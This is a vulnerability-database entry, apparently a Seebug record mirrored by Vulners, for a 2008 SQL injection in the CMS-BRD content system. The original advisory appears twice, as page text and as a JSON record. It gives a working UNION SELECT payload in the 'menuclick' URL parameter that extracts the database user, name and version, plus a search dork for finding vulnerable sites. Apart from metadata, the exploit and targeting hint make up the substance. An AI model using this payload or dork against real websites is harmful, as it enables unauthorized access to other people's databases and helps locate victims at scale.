Search...

CMS-BRD (menuclick) Remote SQL Injection Vulnerability

2008-06-20T00:00:00

ID SSV:8774
Type seebug
Reporter Root
Modified 2008-06-20T00:00:00

Description

No description provided by source.

                                        
                                            
                                                &nbsp;&nbsp;:::::::-.&nbsp;&nbsp;&nbsp;...&nbsp;&nbsp;&nbsp;&nbsp;::::::.&nbsp;&nbsp;&nbsp;&nbsp;:::.
&nbsp;&nbsp;&nbsp;;;,&nbsp;&nbsp;&nbsp;`';,&nbsp;;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;;`;;;;,&nbsp;&nbsp;`;;;
&nbsp;&nbsp;&nbsp;`[[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[['&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[[[&nbsp;&nbsp;[[[[[.&nbsp;'[[
&nbsp;&nbsp;&nbsp;&nbsp;$$,&nbsp;&nbsp;&nbsp;&nbsp;$$$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$$$&nbsp;&nbsp;$$$&nbsp;&quot;Y$c$$
&nbsp;&nbsp;&nbsp;&nbsp;888_,o8P'88&nbsp;&nbsp;&nbsp;&nbsp;.d888&nbsp;&nbsp;888&nbsp;&nbsp;&nbsp;&nbsp;Y88
&nbsp;&nbsp;&nbsp;&nbsp;MMMMP&quot;`&nbsp;&nbsp;&nbsp;&quot;YmmMMMM&quot;&quot;&nbsp;&nbsp;MMM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YM

&nbsp;&nbsp;&nbsp;[&nbsp;Discovered&nbsp;by&nbsp;dun&nbsp;\&nbsp;dun[at]strcpy.pl&nbsp;]

&nbsp;##########################################################
&nbsp;#&nbsp;&nbsp;&nbsp;[&nbsp;CMS-BRD&nbsp;]&nbsp;&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;##########################################################
&nbsp;#
&nbsp;#&nbsp;Script&nbsp;site:&nbsp;http://www.cms.brdconcept.fr/
&nbsp;#&nbsp;
&nbsp;#&nbsp;Vuln:&nbsp;
&nbsp;#&nbsp;http://site.com/index.php?lang=en&amp;menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/*
&nbsp;#
&nbsp;#&nbsp;
&nbsp;#&nbsp;Dork&nbsp;example:&nbsp;&quot;Powered&nbsp;By&nbsp;CMS-BRD&quot;
&nbsp;#
&nbsp;###############################################
&nbsp;#&nbsp;Greetz:&nbsp;D3m0n_DE&nbsp;*&nbsp;sid.psycho&nbsp;*&nbsp;str0ke&nbsp;and&nbsp;otherz..
&nbsp;###############################################

&nbsp;[&nbsp;dun&nbsp;/&nbsp;2008&nbsp;]&nbsp;

*******************************************************************************************

JSON Vulners Source

Initial Source

{"sourceData": "\n   :::::::-.   ...    ::::::.    :::.\r\n   ;;,   `';, ;;     ;;;`;;;;,  `;;;\r\n   `[[     [[[['     [[[  [[[[[. '[[\r\n    $$,    $$$$      $$$  $$$ "Y$c$$\r\n    888_,o8P'88    .d888  888    Y88\r\n    MMMMP"`   "YmmMMMM""  MMM     YM\r\n\r\n   [ Discovered by dun \\ dun[at]strcpy.pl ]\r\n\r\n ##########################################################\r\n #   [ CMS-BRD ]   Remote SQL Injection Vulnerability     #\r\n ##########################################################\r\n #\r\n # Script site: http://www.cms.brdconcept.fr/\r\n # \r\n # Vuln: \r\n # http://site.com/index.php?lang=en&menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/*\r\n #\r\n # \r\n # Dork example: "Powered By CMS-BRD"\r\n #\r\n ###############################################\r\n # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..\r\n ###############################################\r\n\r\n [ dun / 2008 ] \r\n\r\n*******************************************************************************************\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-8774", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-8774", "type": "seebug", "viewCount": 1, "references": [], "lastseen": "2017-11-19T21:39:47", "published": "2008-06-20T00:00:00", "cvelist": [], "id": "SSV:8774", "enchantments_done": [], "modified": "2008-06-20T00:00:00", "title": "CMS-BRD (menuclick) Remote SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.4}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645471268}}